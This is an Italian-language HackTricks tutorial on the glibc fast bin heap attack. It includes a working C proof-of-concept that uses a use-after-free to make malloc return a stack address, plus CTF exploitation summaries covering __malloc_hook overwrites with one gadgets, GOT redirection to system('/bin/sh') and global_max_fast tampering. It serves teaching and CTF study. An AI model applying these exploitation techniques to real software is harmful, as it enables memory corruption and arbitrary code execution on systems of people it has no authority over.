Fast Bin Attack

Impara e pratica l'Hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks

Informazioni di Base

Per ulteriori informazioni su cosa sia un fast bin, controlla questa pagina:

Bins & Memory Allocations

Poiché il fast bin è una lista concatenata singolarmente, ci sono molte meno protezioni rispetto ad altri bin e semplicemente modificare un indirizzo in un chunk fast bin liberato è sufficiente per poter allocare successivamente un chunk in qualsiasi indirizzo di memoria.

In sintesi:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Puoi trovare un esempio completo in un codice molto ben spiegato su https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

Se è possibile sovrascrivere il valore della variabile globale global_max_fast con un numero grande, ciò consente di generare chunk fast bin di dimensioni maggiori, permettendo potenzialmente di eseguire attacchi fast bin in scenari in cui in precedenza non era possibile. Questa situazione è utile nel contesto dell'attacco large bin e dell'attacco unsorted bin.

Esempi

  • È possibile allocare chunk, liberarli, leggerne i contenuti e riempirli (con una vulnerabilità di overflow).

  • Consolidare chunk per infoleak: La tecnica consiste nell'abusare dell'overflow per creare un falso prev_size in modo che un chunk precedente venga inserito in uno più grande, quindi quando si alloca il chunk più grande contenente un altro chunk, è possibile stamparne i dati e ottenere un leak di un indirizzo a libc (main_arena+88).

  • Sovrascrivere l'hook di malloc: Per fare ciò, e abusando della situazione di sovrapposizione precedente, è stato possibile avere 2 chunk che puntavano alla stessa memoria. Di conseguenza, liberandoli entrambi (liberando un altro chunk nel mezzo per evitare protezioni) è stato possibile avere lo stesso chunk nel fast bin 2 volte. Quindi, è stato possibile allocarlo di nuovo, sovrascrivere l'indirizzo al chunk successivo in modo che puntasse un po' prima di __malloc_hook (in modo che puntasse a un intero che malloc pensa sia una dimensione libera - un altro bypass), allocarlo di nuovo e quindi allocare un altro chunk che riceverà un indirizzo agli hook di malloc. Infine è stato scritto un one gadget lì dentro.

  • C'è un overflow di heap e un uso dopo la liberazione e una doppia liberazione perché quando un chunk viene liberato è possibile riutilizzare e riliberare i puntatori

  • Leak di info su Libc: Basta liberare alcuni chunk e otterranno un puntatore a una parte della posizione dell'arena principale. Poiché è possibile riutilizzare i puntatori liberati, basta leggere questo indirizzo.

  • Attacco fast bin: Tutti i puntatori alle allocazioni sono memorizzati all'interno di un array, quindi possiamo liberare un paio di chunk fast bin e nell'ultimo sovrascrivere l'indirizzo per puntare un po' prima di questo array di puntatori. Quindi, allocare un paio di chunk con la stessa dimensione e otterremo prima quello legittimo e poi quello falso contenente l'array di puntatori. Ora possiamo sovrascrivere questi puntatori di allocazione per fare in modo che l'indirizzo GOT di free punti a system e quindi scrivere "/bin/sh" nel chunk 1 per poi chiamare free(chunk1) che invece eseguirà system("/bin/sh").

  • Un altro esempio di abuso di un overflow di un byte per consolidare chunk nell'unsorted bin e ottenere un infoleak di libc e quindi eseguire un attacco fast bin per sovrascrivere l'hook di malloc con un indirizzo one gadget

  • Dopo un infoleak abusando dell'unsorted bin con un UAF per leakare un indirizzo libc e un indirizzo PIE, lo sfruttamento di questo CTF ha utilizzato un attacco fast bin per allocare un chunk in un punto in cui erano situati i puntatori ai chunk controllati, quindi è stato possibile sovrascrivere certi puntatori per scrivere un one gadget nella GOT

  • È possibile trovare un attacco Fast Bin abusato attraverso un attacco unsorted bin:

  • Nota che è comune prima di eseguire attacchi fast bin abusare delle liste di liberazione per leakare indirizzi libc/heap (quando necessario).

  • Possiamo allocare solo chunk di dimensione maggiore di 0x100.

  • Sovrascrivere global_max_fast utilizzando un attacco Unsorted Bin (funziona 1 volta su 16 a causa di ASLR, perché dobbiamo modificare 12 bit, ma dobbiamo modificare 16 bit).

  • Attacco Fast Bin per modificare un array globale di chunk. Questo fornisce un primitivo di lettura/scrittura arbitrario, che consente di modificare la GOT e impostare alcune funzioni per puntare a system.

Unsorted Bin Attack

Impara e pratica l'Hacking su AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks

Last updated